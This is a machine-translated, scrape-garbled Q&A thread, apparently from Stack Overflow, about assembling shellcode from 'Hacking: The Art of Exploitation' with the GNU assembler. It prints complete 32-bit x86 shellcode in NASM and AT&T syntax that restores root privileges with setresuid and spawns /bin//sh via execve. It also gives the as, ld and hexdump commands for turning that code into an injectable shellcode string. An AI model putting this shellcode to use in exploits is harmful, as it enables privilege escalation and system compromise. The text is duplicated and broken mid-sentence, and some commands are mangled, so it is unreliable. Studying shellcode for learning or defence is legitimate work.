Assembly 在外壳代码中使用GNU汇编程序
有没有可能在外壳代码中使用GNU汇编程序而不太麻烦?与英特尔语法相比,我更喜欢AT&T语法。我正在研究黑客攻击的艺术,所以他们编写了外壳代码,用NASM进行组装 然而,问题是当使用GNU汇编程序时,我得到了大约480字节大小的大量二进制文件,而NASM的输出大约35字节大小。令人担忧的是,这些字节中有许多似乎是Assembly 在外壳代码中使用GNU汇编程序,assembly,x86,att,gnu-assembler,shellcode,Assembly,X86,Att,Gnu Assembler,Shellcode,有没有可能在外壳代码中使用GNU汇编程序而不太麻烦?与英特尔语法相比,我更喜欢AT&T语法。我正在研究黑客攻击的艺术,所以他们编写了外壳代码,用NASM进行组装 然而,问题是当使用GNU汇编程序时,我得到了大约480字节大小的大量二进制文件,而NASM的输出大约35字节大小。令人担忧的是,这些字节中有许多似乎是0000,或者是空字节!此外,似乎不可能在没有\u start标签的情况下组装程序,但这定义了一个过程,该过程实际上无法像外壳代码利用一样工作 以下是黑客攻击攻击艺术的代码: BITS 3
0000
,或者是空字节!此外,似乎不可能在没有\u start
标签的情况下组装程序,但这定义了一个过程,该过程实际上无法像外壳代码利用一样工作
以下是黑客攻击攻击艺术的代码:
BITS 32
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cdq
mov BYTE al, 0xa4
int 0x80
push BYTE 11
pop eax
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
push ecx
mov edx, esp
push ebx
mov ecx, esp
int 0x80
我的译文:
.code32
.section .text
.globl _start
_start:
xorl %eax, %eax
xorl %ebx, %ebx
xorl %ecx, %ecx
cltd
movb $0xa4, %al
int $0x80
push $11
popl %eax
pushl %ecx
pushl $0x68732f2f
pushl $0x6e69622f
movl %esp, %ebx
pushl %ecx
movl %esp, %edx
pushl %ebx
movl %esp, %ecx
int $0x80
使用类似于
as--32 shellcode.s-o shellcode.o
的方法将代码组装到一个对象文件中。然后将它链接到一个可执行文件,将其作为二进制文件输出,并使用ld-melf_i386--oformat=binary shellcode.o-o shellcode
,文件变大的原因是您可能输出了一个包含ELF头信息的ELF可执行文件。然后,您可以使用hextump-v-e'\\\\“x”1/1“%02x”“”外壳代码创建一个外壳字符串
Thank man。在这两个文件(作者的汇编NASM外壳代码和我的汇编GNU外壳代码)上运行diff表明它们根本没有区别。使用类似于as--32 shellcode.s-o shellcode.o的方法将代码汇编到一个对象文件中。然后将它链接到一个可执行文件,将其作为二进制文件输出,并使用ld-melf_i386--oformat=binary shellcode.o-o shellcode
,文件变大的原因是您可能输出了一个包含ELF头信息的ELF可执行文件。然后,您可以使用hextump-v-e'\\\\“x”1/1“%02x”“”外壳代码创建一个外壳字符串
Thank man。在这两个文件(作者的汇编NASM外壳代码和我的汇编GNU外壳代码)上运行diff表明它们根本没有区别。